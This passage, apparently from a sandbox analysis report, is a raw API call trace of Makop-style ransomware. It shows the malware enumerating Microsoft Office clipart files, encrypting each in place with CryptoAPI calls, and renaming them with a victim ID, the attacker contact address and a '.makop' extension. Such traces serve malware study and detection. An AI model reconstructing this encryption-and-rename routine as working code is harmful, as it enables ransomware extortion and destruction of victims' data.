liDistanceToMove=0x1774, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.994] SetEndOfFile (hFile=0xf0) returned 1 [0140.001] GetProcessHeap () returned 0x48a0000 [0140.001] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0140.001] GetProcessHeap () returned 0x48a0000 [0140.001] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0140.001] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0140.001] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01161_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01161_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0140.003] CloseHandle (hObject=0xf0) returned 1 [0140.004] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f80000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x92f80000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xa04, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01164_.WMF", cAlternateFileName="")) returned 1 [0140.004] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF") returned 63 [0140.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01164_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0140.005] GetProcessHeap () returned 0x48a0000 [0140.005] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0140.005] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0140.005] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0140.005] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0140.010] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.010] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.010] GetProcessHeap () returned 0x48a0000 [0140.010] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0140.010] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0140.010] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.010] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0140.010] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0140.011] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0140.011] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0140.011] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0140.011] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0140.011] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.011] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.012] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.012] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa04, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa04, lpOverlapped=0x0) returned 1 [0140.012] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa10, dwBufLen=0xa10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa10) returned 1 [0140.012] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.012] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa10, lpOverlapped=0x0) returned 1 [0140.012] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.012] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xae4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.012] SetEndOfFile (hFile=0xf0) returned 1 [0140.020] GetProcessHeap () returned 0x48a0000 [0140.020] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0140.020] GetProcessHeap () returned 0x48a0000 [0140.020] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0140.020] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0140.020] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01164_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01164_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0140.022] CloseHandle (hObject=0xf0) returned 1 [0140.022] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91c6d300, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91c6d300, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x70f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01293_.WMF", cAlternateFileName="")) returned 1 [0140.022] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF") returned 63 [0140.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01293_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0140.023] GetProcessHeap () returned 0x48a0000 [0140.023] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0140.023] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0140.023] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0140.024] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.024] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.024] GetProcessHeap () returned 0x48a0000 [0140.024] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0140.024] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0140.024] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.024] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0140.028] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0140.028] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0140.028] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0140.029] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0140.029] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0140.029] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.029] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.029] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.029] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x70f0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x70f0, lpOverlapped=0x0) returned 1 [0140.031] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x70f0, dwBufLen=0x70f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x70f0) returned 1 [0140.031] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.031] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x70f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x70f0, lpOverlapped=0x0) returned 1 [0140.032] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.032] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x71c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.032] SetEndOfFile (hFile=0xf0) returned 1 [0140.040] GetProcessHeap () returned 0x48a0000 [0140.040] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0140.040] GetProcessHeap () returned 0x48a0000 [0140.040] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0140.040] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0140.040] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01293_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01293_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0140.042] CloseHandle (hObject=0xf0) returned 1 [0140.042] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd29f0600, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd29f0600, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x16ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01354_.WMF", cAlternateFileName="")) returned 1 [0140.042] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF") returned 63 [0140.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01354_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0140.043] GetProcessHeap () returned 0x48a0000 [0140.043] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0140.043] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0140.043] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0140.044] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0140.047] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.047] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.048] GetProcessHeap () returned 0x48a0000 [0140.048] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0140.048] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0140.048] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.048] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0140.048] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0140.048] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0140.048] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0140.049] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0140.049] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0140.049] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.049] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.049] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.049] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x16ae, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x16ae, lpOverlapped=0x0) returned 1 [0140.051] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x16b0, dwBufLen=0x16b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x16b0) returned 1 [0140.051] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.051] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x16b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x16b0, lpOverlapped=0x0) returned 1 [0140.051] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.051] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1784, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.051] SetEndOfFile (hFile=0xf0) returned 1 [0140.058] GetProcessHeap () returned 0x48a0000 [0140.058] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0140.059] GetProcessHeap () returned 0x48a0000 [0140.059] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0140.059] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0140.059] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01354_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01354_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0140.061] CloseHandle (hObject=0xf0) returned 1 [0140.061] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf0b7f00, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf0b7f00, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x4732, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01356_.WMF", cAlternateFileName="")) returned 1 [0140.061] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF") returned 63 [0140.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01356_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0140.062] GetProcessHeap () returned 0x48a0000 [0140.062] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0140.062] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0140.062] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0140.062] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0140.068] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.068] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.068] GetProcessHeap () returned 0x48a0000 [0140.068] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0140.069] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0140.069] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.069] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0140.069] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0140.070] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0140.070] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0140.070] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0140.070] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0140.070] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.070] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.070] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.071] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4732, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4732, lpOverlapped=0x0) returned 1 [0140.073] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4740, dwBufLen=0x4740 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4740) returned 1 [0140.073] SetFilePointerEx (in: hFile=0xf0, 